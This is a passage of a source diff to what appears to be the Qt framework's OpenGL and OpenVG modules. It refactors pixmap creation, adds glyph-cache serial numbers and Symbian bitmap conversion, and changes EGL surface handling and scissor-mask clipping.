extern bool qt_applefontsmoothing_enabled;
#endif
-Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert);
+Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert);
////////////////////////////////// Private Methods //////////////////////////////////////////
@@ -1174,7 +1174,7 @@ void QGL2PaintEngineEx::fill(const QVectorPath &path, const QBrush &brush)
d->fill(path);
}
-extern Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp
+Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp
void QGL2PaintEngineEx::stroke(const QVectorPath &path, const QPen &pen)
@@ -1503,7 +1503,7 @@ namespace {
{
public:
QOpenGLStaticTextUserData()
- : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0)
+ : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0), cacheSerialNumber(0)
{
}
@@ -1515,6 +1515,7 @@ namespace {
QGL2PEXVertexArray vertexCoordinateArray;
QGL2PEXVertexArray textureCoordinateArray;
QFontEngineGlyphCache::Type glyphType;
+ int cacheSerialNumber;
};
}
@@ -1538,8 +1539,6 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
staticTextItem->fontEngine()->setGlyphCache(cacheKey, cache);
cache->insert(ctx, cache);
recreateVertexArrays = true;
- } else if (cache->context() == 0) { // Old context has been destroyed, new context has same ptr value
- cache->setContext(ctx);
}
if (staticTextItem->userDataNeedsUpdate) {
@@ -1550,8 +1549,11 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
recreateVertexArrays = true;
} else {
QOpenGLStaticTextUserData *userData = static_cast<QOpenGLStaticTextUserData *>(staticTextItem->userData());
- if (userData->glyphType != glyphType)
+ if (userData->glyphType != glyphType) {
recreateVertexArrays = true;
+ } else if (userData->cacheSerialNumber != cache->serialNumber()) {
+ recreateVertexArrays = true;
+ }
}
// We only need to update the cache with new glyphs if we are actually going to recreate the vertex arrays.
@@ -1592,6 +1594,7 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp
}
userData->glyphType = glyphType;
+ userData->cacheSerialNumber = cache->serialNumber();
// Use cache if backend optimizations is turned on
vertexCoordinates = &userData->vertexCoordinateArray;
diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
index eb38947..4362c0a 100644
--- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
+++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp
@@ -53,12 +53,15 @@ QT_BEGIN_NAMESPACE
extern Q_GUI_EXPORT bool qt_cleartype_enabled;
#endif
+QBasicAtomicInt qgltextureglyphcache_serial_number = Q_BASIC_ATOMIC_INITIALIZER(1);
+
QGLTextureGlyphCache::QGLTextureGlyphCache(const QGLContext *context, QFontEngineGlyphCache::Type type, const QTransform &matrix)
: QImageTextureGlyphCache(type, matrix), QGLContextGroupResourceBase()
, ctx(0)
, pex(0)
, m_blitProgram(0)
, m_filterMode(Nearest)
+ , m_serialNumber(qgltextureglyphcache_serial_number.fetchAndAddRelaxed(1))
{
#ifdef QT_GL_TEXTURE_GLYPH_CACHE_DEBUG
qDebug(" -> QGLTextureGlyphCache() %p for context %p.", this, ctx);
diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
index c5c8985..cc6de28 100644
--- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
+++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h
@@ -133,6 +133,8 @@ public:
void setContext(const QGLContext *context);
inline const QGLContext *context() const { return ctx; }
+ inline int serialNumber() const { return m_serialNumber; }
+
enum FilterMode {
Nearest,
Linear
@@ -152,6 +154,8 @@ private:
GLfloat m_vertexCoordinateArray[8];
GLfloat m_textureCoordinateArray[8];
+
+ int m_serialNumber;
};
QT_END_NAMESPACE
diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
index 8b587cf..08ae774 100644
--- a/src/opengl/opengl.pro
+++ b/src/opengl/opengl.pro
@@ -163,6 +163,13 @@ symbian {
HEADERS += qgl_egl_p.h
+ contains(QT_CONFIG, freetype) {
+ DEFINES += QT_NO_FONTCONFIG
+ INCLUDEPATH += \
+ ../3rdparty/freetype/src \
+ ../3rdparty/freetype/include
+ }
+
symbian:TARGET.UID3 = 0x2002131A
}
diff --git a/src/opengl/qgl.cpp b/src/opengl/qgl.cpp
index ffde515..cd23847 100644
--- a/src/opengl/qgl.cpp
+++ b/src/opengl/qgl.cpp
@@ -1791,7 +1791,7 @@ static void convertFromGLImage(QImage &img, int w, int h, bool alpha_format, boo
QImage qt_gl_read_framebuffer(const QSize &size, bool alpha_format, bool include_alpha)
{
- QImage img(size, (alpha_format && include_alpha) ? QImage::Format_ARGB32
+ QImage img(size, (alpha_format && include_alpha) ? QImage::Format_ARGB32_Premultiplied
: QImage::Format_RGB32);
int w = size.width();
int h = size.height();
diff --git a/src/opengl/qgl_symbian.cpp b/src/opengl/qgl_symbian.cpp
index 82b66f5..a9e2248 100644
--- a/src/opengl/qgl_symbian.cpp
+++ b/src/opengl/qgl_symbian.cpp
@@ -44,12 +44,14 @@
#include <coemain.h>
#include <coecntrl.h>
#include <w32std.h>
+#include <private/qt_s60_p.h>
#include <private/qpixmap_s60_p.h>
#include <private/qimagepixmapcleanuphooks_p.h>
#include <private/qgl_p.h>
#include <private/qpaintengine_opengl_p.h>
#include <private/qwidget_p.h> // to access QWExtra
#include "qgl_egl_p.h"
+#include "qpixmapdata_gl_p.h"
#include "qcolormap.h"
#include <QDebug>
@@ -358,5 +360,117 @@ void QGLWidgetPrivate::recreateEglSurface()
eglSurfaceWindowId = currentId;
}
+/*
+ * Symbian specific QGLPixmapData functions
+ */
+
+static CFbsBitmap* createBlitCopy(CFbsBitmap* bitmap)
+{
+ CFbsBitmap *copy = q_check_ptr(new CFbsBitmap);
+ if (!copy)
+ return 0;
+
+ if (copy->Create(bitmap->SizeInPixels(), bitmap->DisplayMode()) != KErrNone) {
+ delete copy;
+ copy = 0;
+
+ return 0;
+ }
+
+ CFbsBitmapDevice* bitmapDevice = 0;
+ CFbsBitGc *bitmapGc = 0;
+ QT_TRAP_THROWING(bitmapDevice = CFbsBitmapDevice::NewL(copy));
+ QT_TRAP_THROWING(bitmapGc = CFbsBitGc::NewL());
+ bitmapGc->Activate(bitmapDevice);
+
+ bitmapGc->BitBlt(TPoint(), bitmap);
+
+ delete bitmapGc;
+ delete bitmapDevice;
+
+ return copy;
+}
+
+void QGLPixmapData::fromNativeType(void* pixmap, NativeType type)
+{
+ if (type == QPixmapData::FbsBitmap) {
+ CFbsBitmap *bitmap = reinterpret_cast<CFbsBitmap*>(pixmap);
+
+ bool deleteSourceBitmap = false;
+#ifdef Q_SYMBIAN_HAS_EXTENDED_BITMAP_TYPE
+
+ // Rasterize extended bitmaps
+
+ TUid extendedBitmapType = bitmap->ExtendedBitmapType();
+ if (extendedBitmapType != KNullUid) {
+ bitmap = createBlitCopy(bitmap);
+ deleteSourceBitmap = true;
+ }
+#endif
+
+ if (bitmap->IsCompressedInRAM()) {
+ bitmap = createBlitCopy(bitmap);
+ deleteSourceBitmap = true;
+ }
+
+ TDisplayMode displayMode = bitmap->DisplayMode();
+ QImage::Format format = qt_TDisplayMode2Format(displayMode);
+
+ TSize size = bitmap->SizeInPixels();
+ int bytesPerLine = bitmap->ScanLineLength(size.iWidth, displayMode);
+
+ bitmap->BeginDataAccess();
+ uchar *bytes = (uchar*)bitmap->DataAddress();
+ QImage img = QImage(bytes, size.iWidth, size.iHeight, bytesPerLine, format);
+ img = img.copy();
+ bitmap->EndDataAccess();
+
+ if (displayMode == EGray2) {
+ //Symbian thinks set pixels are white/transparent, Qt thinks they are foreground/solid
+ //So invert mono bitmaps so that masks work correctly.
+ img.invertPixels();
+ } else if (displayMode == EColor16M) {
+ img = img.rgbSwapped(); // EColor16M is BGR
+ }
+
+ fromImage(img, Qt::AutoColor);
+
+ if (deleteSourceBitmap)
+ delete bitmap;
+ }
+}
+
+void* QGLPixmapData::toNativeType(NativeType type)
+{
+ if (type == QPixmapData::FbsBitmap) {
+ CFbsBitmap *bitmap = q_check_ptr(new CFbsBitmap);
+
+ if (bitmap) {
+ QImage image = toImage();
+
+ TDisplayMode displayMode(EColor16MU);
+ if (image.format()==QImage::Format_ARGB32_Premultiplied)
+ displayMode = EColor16MAP;
+
+ if (bitmap->Create(TSize(image.width(), image.height()),
+ displayMode) == KErrNone) {
+ const uchar *sptr = const_cast<const QImage&>(image).bits();
+ bitmap->BeginDataAccess();
+
+ uchar *dptr = (uchar*)bitmap->DataAddress();
+ Mem::Copy(dptr, sptr, image.byteCount());
+
+ bitmap->EndDataAccess();
+ } else {
+ delete bitmap;
+ bitmap = 0;
+ }
+ }
+
+ return reinterpret_cast<void*>(bitmap);
+ }
+ return 0;
+}
+
QT_END_NAMESPACE
diff --git a/src/opengl/qglframebufferobject.cpp b/src/opengl/qglframebufferobject.cpp
index 031837f..cda1c79 100644
--- a/src/opengl/qglframebufferobject.cpp
+++ b/src/opengl/qglframebufferobject.cpp
@@ -1216,8 +1216,8 @@ void QGLFramebufferObject::drawTexture(const QPointF &point, QMacCompatGLuint te
}
#endif
-Q_DECL_IMPORT extern int qt_defaultDpiX();
-Q_DECL_IMPORT extern int qt_defaultDpiY();
+Q_GUI_EXPORT int qt_defaultDpiX();
+Q_GUI_EXPORT int qt_defaultDpiY();
/*! \reimp */
int QGLFramebufferObject::metric(PaintDeviceMetric metric) const
diff --git a/src/opengl/qglpixelbuffer.cpp b/src/opengl/qglpixelbuffer.cpp
index 3ce912a..ec6ac4c 100644
--- a/src/opengl/qglpixelbuffer.cpp
+++ b/src/opengl/qglpixelbuffer.cpp
@@ -424,8 +424,8 @@ QPaintEngine *QGLPixelBuffer::paintEngine() const
#endif
}
-Q_DECL_IMPORT extern int qt_defaultDpiX();
-Q_DECL_IMPORT extern int qt_defaultDpiY();
+Q_GUI_EXPORT int qt_defaultDpiX();
+Q_GUI_EXPORT int qt_defaultDpiY();
/*! \reimp */
int QGLPixelBuffer::metric(PaintDeviceMetric metric) const
diff --git a/src/opengl/qglpixmapfilter.cpp b/src/opengl/qglpixmapfilter.cpp
index a3867dd..aa07561 100644
--- a/src/opengl/qglpixmapfilter.cpp
+++ b/src/opengl/qglpixmapfilter.cpp
@@ -63,8 +63,8 @@
QT_BEGIN_NAMESPACE
// qpixmapfilter.cpp
-Q_DECL_IMPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0);
-Q_DECL_IMPORT QImage qt_halfScaled(const QImage &source);
+Q_GUI_EXPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0);
+Q_GUI_EXPORT QImage qt_halfScaled(const QImage &source);
void QGLPixmapFilterBase::bindTexture(const QPixmap &src) const
{
@@ -425,7 +425,7 @@ static inline uint nextMultiple(uint x, uint multiplier)
return x + multiplier - mod;
}
-Q_DECL_IMPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride,
+Q_GUI_EXPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride,
quint32 *dest, int dstStride);
bool QGLPixmapBlurFilter::processGL(QPainter *painter, const QPointF &pos, const QPixmap &src, const QRectF &) const
diff --git a/src/opengl/qglshaderprogram.cpp b/src/opengl/qglshaderprogram.cpp
index 7f41339..4598bff 100644
--- a/src/opengl/qglshaderprogram.cpp
+++ b/src/opengl/qglshaderprogram.cpp
@@ -261,14 +261,14 @@ bool QGLShaderPrivate::compile(QGLShader *q)
log = QString::fromLatin1(logbuf);
QString name = q->objectName();
- char *types[] = {
+ const char *types[] = {
"Fragment",
"Vertex",
"Geometry",
""
};
- char *type = types[3];
+ const char *type = types[3];
if (shaderType == QGLShader::Fragment)
type = types[0];
else if (shaderType == QGLShader::Vertex)
diff --git a/src/opengl/qpaintengine_opengl.cpp b/src/opengl/qpaintengine_opengl.cpp
index 2f1b8fd..2c01ac4 100644
--- a/src/opengl/qpaintengine_opengl.cpp
+++ b/src/opengl/qpaintengine_opengl.cpp
@@ -79,7 +79,7 @@
QT_BEGIN_NAMESPACE
-Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp
+Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp
#ifdef QT_MAC_USE_COCOA
extern void *qt_current_nsopengl_context(); // qgl_mac.mm
#endif
diff --git a/src/opengl/qpixmapdata_gl.cpp b/src/opengl/qpixmapdata_gl.cpp
index e522386..04de1bd 100644
--- a/src/opengl/qpixmapdata_gl.cpp
+++ b/src/opengl/qpixmapdata_gl.cpp
@@ -55,6 +55,7 @@
#include <qdesktopwidget.h>
#include <qfile.h>
#include <qimagereader.h>
+#include <qbuffer.h>
QT_BEGIN_NAMESPACE
@@ -369,40 +370,18 @@ void QGLPixmapData::ensureCreated() const
void QGLPixmapData::fromImage(const QImage &image,
Qt::ImageConversionFlags flags)
{
- if (image.size() == QSize(w, h))
- setSerialNumber(++qt_gl_pixmap_serial);
- resize(image.width(), image.height());
-
- if (pixelType() == BitmapType) {
- m_source = image.convertToFormat(QImage::Format_MonoLSB);
-
- } else {
- QImage::Format format = QImage::Format_RGB32;
- if (qApp->desktop()->depth() == 16)
- format = QImage::Format_RGB16;
-
- if (image.hasAlphaChannel()
- && ((flags & Qt::NoOpaqueDetection)
- || const_cast<QImage &>(image).data_ptr()->checkForAlphaPixels()))
- format = QImage::Format_ARGB32_Premultiplied;;
-
- m_source = image.convertToFormat(format);
- }
-
- m_dirty = true;
- m_hasFillColor = false;
+ QImage img = image;
+ createPixmapForImage(img, flags, false);
+}
- m_hasAlpha = m_source.hasAlphaChannel();
- w = image.width();
- h = image.height();
- is_null = (w <= 0 || h <= 0);
- d = m_source.depth();
+void QGLPixmapData::fromImageReader(QImageReader *imageReader,
+ Qt::ImageConversionFlags flags)
+{
+ QImage image = imageReader->read();
+ if (image.isNull())
+ return;
- if (m_texture.id) {
- QGLShareContextScope ctx(qt_gl_share_context());
- glDeleteTextures(1, &m_texture.id);
- m_texture.id = 0;
- }
+ createPixmapForImage(image, flags, true);
}
bool QGLPixmapData::fromFile(const QString &filename, const char *format,
@@ -411,31 +390,37 @@ bool QGLPixmapData::fromFile(const QString &filename, const char *format,
if (pixelType() == QPixmapData::BitmapType)
return QPixmapData::fromFile(filename, format, flags);
QFile file(filename);
- if (!file.open(QIODevice::ReadOnly))
- return false;
- QByteArray data = file.peek(64);
- bool alpha;
- if (m_texture.canBindCompressedTexture
- (data.constData(), data.size(), format, &alpha)) {
- resize(0, 0);
- data = file.readAll();
- file.close();
- QGLShareContextScope ctx(qt_gl_share_context());
- QSize size = m_texture.bindCompressedTexture
- (data.constData(), data.size(), format);
- if (!size.isEmpty()) {
- w = size.width();
- h = size.height();
- is_null = false;
- d = 32;
- m_hasAlpha = alpha;
- m_source = QImage();
- m_dirty = isValid();
- return true;
+ if (file.open(QIODevice::ReadOnly)) {
+ QByteArray data = file.peek(64);
+ bool alpha;
+ if (m_texture.canBindCompressedTexture
+ (data.constData(), data.size(), format, &alpha)) {
+ resize(0, 0);
+ data = file.readAll();
+ file.close();
+ QGLShareContextScope ctx(qt_gl_share_context());
+ QSize size = m_texture.bindCompressedTexture
+ (data.constData(), data.size(), format);
+ if (!size.isEmpty()) {
+ w = size.width();
+ h = size.height();
+ is_null = false;
+ d = 32;
+ m_hasAlpha = alpha;
+ m_source = QImage();
+ m_dirty = isValid();
+ return true;
+ }
+ return false;
}
- return false;
}
- fromImage(QImageReader(&file, format).read(), flags);
+
+ QImage image = QImageReader(filename, format).read();
+ if (image.isNull())
+ return false;
+
+ createPixmapForImage(image, flags, true);
+
return !isNull();
}
@@ -459,7 +444,67 @@ bool QGLPixmapData::fromData(const uchar *buffer, uint len, const char *format,
return true;
}
}
- return QPixmapData::fromData(buffer, len, format, flags);
+
+ QByteArray a = QByteArray::fromRawData(reinterpret_cast<const char *>(buffer), len);
+ QBuffer b(&a);
+ b.open(QIODevice::ReadOnly);
+ QImage image = QImageReader(&b, format).read();
+ if (image.isNull())
+ return false;
+
+ createPixmapForImage(image, flags, true);
+
+ return !isNull();
+}
+
+/*!
+ out-of-place conversion (inPlace == false) will always detach()
+ */
+void QGLPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace)
+{
+ if (image.size() == QSize(w, h))
+ setSerialNumber(++qt_gl_pixmap_serial);
+
+ resize(image.width(), image.height());
+
+ if (pixelType() == BitmapType) {
+ m_source = image.convertToFormat(QImage::Format_MonoLSB);
+
+ } else {
+ QImage::Format format = QImage::Format_RGB32;
+ if (qApp->desktop()->depth() == 16)
+ format = QImage::Format_RGB16;
+
+ if (image.hasAlphaChannel()
+ && ((flags & Qt::NoOpaqueDetection)
+ || const_cast<QImage &>(image).data_ptr()->checkForAlphaPixels()))
+ format = QImage::Format_ARGB32_Premultiplied;;
+
+ if (inPlace && image.data_ptr()->convertInPlace(format, flags)) {
+ m_source = image;
+ } else {
+ m_source = image.convertToFormat(format);
+
+ // convertToFormat won't detach the image if format stays the same.
+ if (image.format() == format)
+ m_source.detach();
+ }
+ }
+
+ m_dirty = true;
+ m_hasFillColor = false;
+
+ m_hasAlpha = m_source.hasAlphaChannel();
+ w = image.width();
+ h = image.height();
+ is_null = (w <= 0 || h <= 0);
+ d = m_source.depth();
+
+ if (m_texture.id) {
+ QGLShareContextScope ctx(qt_gl_share_context());
+ glDeleteTextures(1, &m_texture.id);
+ m_texture.id = 0;
+ }
}
bool QGLPixmapData::scroll(int dx, int dy, const QRect &rect)
@@ -586,6 +631,12 @@ QImage QGLPixmapData::toImage() const
if (m_renderFbo) {
copyBackFromRenderFbo(true);
} else if (!m_source.isNull()) {
+ QImageData *data = const_cast<QImage &>(m_source).data_ptr();
+ if (data->paintEngine && data->paintEngine->isActive()
+ && data->paintEngine->paintDevice() == &m_source)
+ {
+ return m_source.copy();
+ }
return m_source;
} else if (m_dirty || m_hasFillColor) {
return fillImage(m_fillColor);
@@ -739,8 +790,8 @@ QGLTexture* QGLPixmapData::texture() const
return &m_texture;
}
-Q_DECL_IMPORT extern int qt_defaultDpiX();
-Q_DECL_IMPORT extern int qt_defaultDpiY();
+Q_GUI_EXPORT int qt_defaultDpiX();
+Q_GUI_EXPORT int qt_defaultDpiY();
int QGLPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const
{
diff --git a/src/opengl/qpixmapdata_gl_p.h b/src/opengl/qpixmapdata_gl_p.h
index 5545d3c..a4066fd 100644
--- a/src/opengl/qpixmapdata_gl_p.h
+++ b/src/opengl/qpixmapdata_gl_p.h
@@ -107,6 +107,8 @@ public:
// Re-implemented from QPixmapData:
void resize(int width, int height);
void fromImage(const QImage &image, Qt::ImageConversionFlags flags);
+ void fromImageReader(QImageReader *imageReader,
+ Qt::ImageConversionFlags flags);
bool fromFile(const QString &filename, const char *format,
Qt::ImageConversionFlags flags);
bool fromData(const uchar *buffer, uint len, const char *format,
@@ -127,6 +129,11 @@ public:
GLuint bind(bool copyBack = true) const;
QGLTexture *texture() const;
+#if defined(Q_OS_SYMBIAN)
+ void* toNativeType(NativeType type);
+ void fromNativeType(void* pixmap, NativeType type);
+#endif
+
private:
bool isValid() const;
@@ -149,6 +156,8 @@ private:
QImage fillImage(const QColor &color) const;
+ void createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace);
+
mutable QGLFramebufferObject *m_renderFbo;
mutable QPaintEngine *m_engine;
mutable QGLContext *m_ctx;
diff --git a/src/opengl/qwindowsurface_gl.cpp b/src/opengl/qwindowsurface_gl.cpp
index 5a783ca..cdd3eb9 100644
--- a/src/opengl/qwindowsurface_gl.cpp
+++ b/src/opengl/qwindowsurface_gl.cpp
@@ -363,7 +363,6 @@ QGLWindowSurface::~QGLWindowSurface()
*ctx = 0;
}
#endif
-
delete d_ptr->pb;
delete d_ptr->fbo;
delete d_ptr;
@@ -812,20 +811,25 @@ void QGLWindowSurface::updateGeometry() {
return;
d_ptr->geometry_updated = false;
-#ifdef Q_WS_QPA
- QSize surfSize = size();
-#else
- QSize surfSize = geometry().size();
-#endif
+ bool hijack(true);
+ QWidgetPrivate *wd = window()->d_func();
+ if (wd->extraData() && wd->extraData()->glContext)
+ hijack = false; // we already have gl context for widget
- hijackWindow(window());
- QGLContext *ctx = reinterpret_cast<QGLContext *>(window()->d_func()->extraData()->glContext);
+ if (hijack)
+ hijackWindow(window());
+
+ QGLContext *ctx = reinterpret_cast<QGLContext *>(wd->extraData()->glContext);
#ifdef Q_WS_MAC
ctx->updatePaintDevice();
#endif
- const GLenum target = GL_TEXTURE_2D;
+#ifdef Q_WS_QPA
+ QSize surfSize = size();
+#else
+ QSize surfSize = geometry().size();
+#endif
if (surfSize.width() <= 0 || surfSize.height() <= 0)
return;
@@ -835,6 +839,27 @@ void QGLWindowSurface::updateGeometry() {
d_ptr->size = surfSize;
+#ifdef Q_OS_SYMBIAN
+ if (!hijack) { // Symbian needs to recreate EGL surface when native window size changes
+ if (ctx->d_func()->eglSurface != EGL_NO_SURFACE) {
+ eglDestroySurface(ctx->d_func()->eglContext->display(),
+ ctx->d_func()->eglSurface);
+ }
+
+ ctx->d_func()->eglSurface = QEgl::createSurface(ctx->device(),
+ ctx->d_func()->eglContext->config());
+
+#if !defined(QGL_NO_PRESERVED_SWAP)
+ eglGetError(); // Clear error state first.
+ eglSurfaceAttrib(QEgl::display(), ctx->d_func()->eglSurface,
+ EGL_SWAP_BEHAVIOR, EGL_BUFFER_PRESERVED);
+ if (eglGetError() != EGL_SUCCESS) {
+ qWarning("QGLWindowSurface: could not restore preserved swap behaviour");
+ }
+#endif
+ }
+#endif
+
if (d_ptr->ctx) {
#ifndef QT_OPENGL_ES_2
if (d_ptr->destructive_swap_buffers)
@@ -843,6 +868,7 @@ void QGLWindowSurface::updateGeometry() {
return;
}
+ const GLenum target = GL_TEXTURE_2D;
if (d_ptr->destructive_swap_buffers
&& (QGLExtensions::glExtensions() & QGLExtensions::FramebufferObject)
&& (d_ptr->fbo || !d_ptr->tried_fbo)
diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
index e7ed890..e185949 100644
--- a/src/openvg/openvg.pro
+++ b/src/openvg/openvg.pro
@@ -38,6 +38,13 @@ symbian {
DEFINES += QVG_RECREATE_ON_SIZE_CHANGE QVG_BUFFER_SCROLLING QVG_SCISSOR_CLIP
SOURCES += \
qvg_symbian.cpp
+
+ contains(QT_CONFIG, freetype) {
+ DEFINES += QT_NO_FONTCONFIG
+ INCLUDEPATH += \
+ ../3rdparty/freetype/src \
+ ../3rdparty/freetype/include
+ }
}
include(../qbase.pri)
diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp
index 09cbc36..22cbbf5 100644
--- a/src/openvg/qpaintengine_vg.cpp
+++ b/src/openvg/qpaintengine_vg.cpp
@@ -77,8 +77,8 @@ static const qreal aliasedCoordinateDelta = 0.5 - 0.015625;
#if !defined(QVG_NO_DRAW_GLYPHS)
-Q_DECL_IMPORT extern int qt_defaultDpiX();
-Q_DECL_IMPORT extern int qt_defaultDpiY();
+Q_GUI_EXPORT int qt_defaultDpiX();
+Q_GUI_EXPORT int qt_defaultDpiY();
class QVGPaintEnginePrivate;
@@ -526,7 +526,7 @@ void QVGPaintEnginePrivate::setTransform
vgLoadMatrix(mat);
}
-Q_DECL_IMPORT extern bool qt_scaleForTransform(const QTransform &transform, qreal *scale);
+Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale);
void QVGPaintEnginePrivate::updateTransform(QPaintDevice *pdev)
{
@@ -994,7 +994,7 @@ VGPath QVGPaintEnginePrivate::roundedRectPath(const QRectF &rect, qreal xRadius,
return vgpath;
}
-Q_DECL_IMPORT extern QImage qt_imageForBrush(int style, bool invert);
+Q_GUI_EXPORT QImage qt_imageForBrush(int style, bool invert);
static QImage colorizeBitmap(const QImage &image, const QColor &color)
{
@@ -1472,7 +1472,7 @@ void QVGPaintEnginePrivate::draw
(VGPath path, const QPen& pen, const QBrush& brush, VGint rule)
{
VGbitfield mode = 0;
- if (pen.style() != Qt::NoPen) {
+ if (qpen_style(pen) != Qt::NoPen && qbrush_style(qpen_brush(pen)) != Qt::NoBrush) {
ensurePen(pen);
mode |= VG_STROKE_PATH;
}
@@ -2201,6 +2201,12 @@ void QVGPaintEngine::updateScissor()
#if defined(QVG_SCISSOR_CLIP)
// Using the scissor to do clipping, so combine the systemClip
// with the current painting clipRegion.
+
+ if (d->maskValid) {
+ vgSeti(VG_MASKING, VG_FALSE);
+ d->maskValid = false;
+ }
+
QVGPainterState *s = state();
if (s->clipEnabled) {
if (region.isEmpty())
@@ -2250,8 +2256,33 @@ void QVGPaintEngine::updateScissor()
QVector<QRect> rects = region.rects();
int count = rects.count();
- if (count > d->maxScissorRects)
- count = d->maxScissorRects;
+ if (count > d->maxScissorRects) {
+#if !defined(QVG_SCISSOR_CLIP)
+ count = d->maxScissorRects;
+#else
+ // Use masking
+ int width = paintDevice()->width();
+ int height = paintDevice()->height();
+ vgMask(VG_INVALID_HANDLE, VG_CLEAR_MASK,
+ 0, 0, width, height);
+ for (int i = 0; i < rects.size(); ++i) {
+ vgMask(VG_INVALID_HANDLE, VG_FILL_MASK,
+ rects[i].x(), height - rects[i].y() - rects[i].height(),
+ rects[i].width(), rects[i].height());
+ }
+
+ vgSeti(VG_SCISSORING, VG_FALSE);
+ vgSeti(VG_MASKING, VG_TRUE);
+ d->maskValid = true;
+ d->maskIsSet = false;
+ d->scissorMask = false;
+ d->scissorActive = false;
+ d->scissorDirty = false;
+ d->scissorRegion = region;
+ return;
+#endif
+ }
+
QVarLengthArray<VGint> params(count * 4);
int height = paintDevice()->height();
for (int i = 0; i < count; ++i) {
diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp
index 3f768fd..732b484 100644
--- a/src/openvg/qpixmapdata_vg.cpp
+++ b/src/openvg/qpixmapdata_vg.cpp
@@ -200,6 +200,9 @@ bool QVGPixmapData::fromData(const uchar *buffer, uint len, const char *format,
return !isNull();
}
+/*!
+ out-of-place conversion (inPlace == false) will always detach()
+ */
void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace)
{
if (image.size() == QSize(w, h))
@@ -216,11 +219,16 @@ void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags
else
format = image.hasAlphaChannel() ? sourceFormat() : QImage::Format_RGB32;
- if (inPlace && image.data_ptr()->convertInPlace(format, flags))
+ if (inPlace && image.data_ptr()->convertInPlace(format, flags)) {
source = image;
- else
+ } else {
source = image.convertToFormat(format);
+ // convertToFormat won't detach the image if format stays the same.
+ if (image.format() == format)
+ source.detach();
+ }
+
recreate = true;
}
@@ -404,8 +412,8 @@ void QVGPixmapData::reclaimImages()
destroyImages();
}
-Q_DECL_IMPORT extern int qt_defaultDpiX();
-Q_DECL_IMPORT extern int qt_defaultDpiY();
+Q_GUI_EXPORT int qt_defaultDpiX();
+Q_GUI_EXPORT int qt_defaultDpiY();
int QVGPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const
{
diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp
index b813800..ff0ab13 100644
--- a/src/openvg/qvg_symbian.cpp
+++ b/src/openvg/qvg_symbian.cpp
@@ -148,7 +148,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type)
destroyImages();
prevSize = QSize();
- VGImage vgImage = sgImageToVGImage(context, *sgImage);
+ vgImage = sgImageToVGImage(context, *sgImage);
if (vgImage != VG_INVALID_HANDLE) {
w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH);
h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT);
diff --git a/src/openvg/qwindowsurface_vgegl.cpp b/src/openvg/qwindowsurface_vgegl.cpp
index c6db869..ca80886 100644
--- a/src/openvg/qwindowsurface_vgegl.cpp
+++ b/src/openvg/qwindowsurface_vgegl.cpp
@@ -267,10 +267,7 @@ static QEglContext *createContext(QPaintDevice *device)
int redSize = configProps.value(EGL_RED_SIZE);
if (redSize == EGL_DONT_CARE || redSize == 0)
configProps.setPixelFormat(QImage::Format_ARGB32); // XXX
-#ifndef QVG_SCISSOR_CLIP
- // If we are using the mask to clip, then explicitly request a mask.
configProps.setValue(EGL_ALPHA_MASK_SIZE, 1);
-#endif
#ifdef EGL_VG_ALPHA_FORMAT_PRE_BIT
configProps.setValue(EGL_SURFACE_TYPE, EGL_WINDOW_BIT |
EGL_VG_ALPHA_FORMAT_PRE_BIT);
diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
index 5fc2a38..13cd8a9 100644
--- a/src/plugins/bearer/icd/dbusdispatcher.cpp
+++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
@@ -51,10 +51,10 @@
namespace Maemo {
/*!
- \class DBusDispatcher
+ \class Maemo::DBusDispatcher
- \brief DBusDispatcher is a class, which is able to send DBUS method call
- messages and receive unicast signals from DBUS object.
+ \brief DBusDispatcher is a class that can send DBUS method call
+ messages and receive unicast signals from DBUS objects.
*/
class DBusDispatcherPrivate
@@ -468,7 +468,7 @@ void DBusDispatcher::setupDBus()
d_ptr->signal_vtable.message_function = signalHandler;
